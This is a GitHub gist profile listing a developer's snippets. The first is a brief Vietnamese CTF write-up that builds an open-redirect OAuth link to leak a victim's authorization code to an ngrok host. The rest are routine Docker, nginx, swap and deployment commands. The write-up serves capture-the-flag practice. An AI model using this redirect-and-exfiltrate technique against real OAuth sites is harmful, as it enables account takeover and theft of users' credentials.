Skip to content

Instantly share code, notes, and snippets.

View NamPNQ's full-sized avatar
🤒
Out sick

Nam PHAM NamPNQ

🤒
Out sick
  • Ho Chi Minh
View GitHub Profile
@NamPNQ
NamPNQ / readme.md
Last active November 18, 2017 23:22
sadbook.ctf.yeuchimse.com

Mình viết sơ qua các steps mình làm

  1. Tác giả hint là open-redirect
  2. Mình có coi qua rồi, khi nhấn vào report chưa login nó sẽ chuyển sang page login, có params return=report.php
  3. search Open Redirect Fuzz List
  4. Thử vài cái thấy \/google.com ok
  5. làm cái đường link để report http://sadpen.ctf.yeuchimse.com/oauth.php?client_id=42&type=code&redirect_uri=http%3A%2F%2Fsadbook.ctf.yeuchimse.com%2Foauth%2Fcallback.php%2F..%2F..%2Flogin.php%3Futm_client%3D113.180.103.214%26return%3D%5C%2Fc4264db7.ngrok.io
  6. report cho tác giả
  7. lấy đc code
  8. vào đọc tâm sự
@NamPNQ
NamPNQ / clean_docker_images.sh
Created November 5, 2016 12:11
Clean docker images
docker images -q -a | xargs --no-run-if-empty docker rmi
@NamPNQ
NamPNQ / sslCertTrusted.js
Last active October 14, 2016 05:14
Check ssl cert trusted
//Source: http://stackoverflow.com/a/25077676/1798281
<script> var sslCertTrusted = false; </script>
<script src="https://example.com/ssltest.js"></script>
<script>
if (!sslCertTrusted)
{
alert('Sorry, you need to install the certificate first.');
window.location('http://example.com/cert_install_instructions/');
}
else
# Sudo
sudo su
# Check
swapon -s
# Create swap file
fallocate -l 10G /swapfile && chmod 600 /swapfile # or dd if=/dev/zero of=/swapfile bs=1M count=2048
# Make swapfile a Linux-managed swap area
@NamPNQ
NamPNQ / keybase.md
Created July 13, 2016 17:03
Keybase proof

Keybase proof

I hereby claim:

  • I am nampnq on github.
  • I am nampnq (https://keybase.io/nampnq) on keybase.
  • I have a public key whose fingerprint is 3748 6A9E C7E0 4AC4 FBF0 05E0 3A58 1A19 1373 277E

To claim this, I am signing this object:

@NamPNQ
NamPNQ / nginx.conf
Created June 13, 2016 04:44
Config nginx + https + letencrypt.sh for gen ssl
location /.well-known/acme-challenge {
alias /opt/letsencrypt/.acme-challenges;
}
if ($request_uri !~ "^/\.well-known/acme-challenge.*$"){
set $test notletencrypt;
}
if ($scheme != "https"){
set $test "${test}+notssl";
}
if ($test = "notletencrypt+notssl")
@NamPNQ
NamPNQ / Readme.md
Created May 18, 2016 07:03
Codeschool Downloader

Nothing

@NamPNQ
NamPNQ / Readme.md
Last active April 9, 2016 10:18
Download images and store in correct path via curl
cat images.txt | awk 'match($2, /images\/(.*)$/, a){print $2 "\t" a[1]}' | while read url store_path; do
  curl ${url} --create-dirs -o ${store_path}
done;
@NamPNQ
NamPNQ / fix_docker.sh
Created April 6, 2016 06:03
Fix docker: Error initializing network controller
sudo rm -rf /var/lib/docker/network
@NamPNQ
NamPNQ / fabfile.py
Created March 28, 2016 09:20
fabric with virtualenv
from fabric.api import lcd, local, path
project_dir = '/www/my_project/sms/'
env_bin_dir = project_dir + '../env/bin/'
def deploy():
with lcd(project_dir):
local('git pull origin')
local('git checkout -f')
with path(env_bin_dir, behavior='prepend'):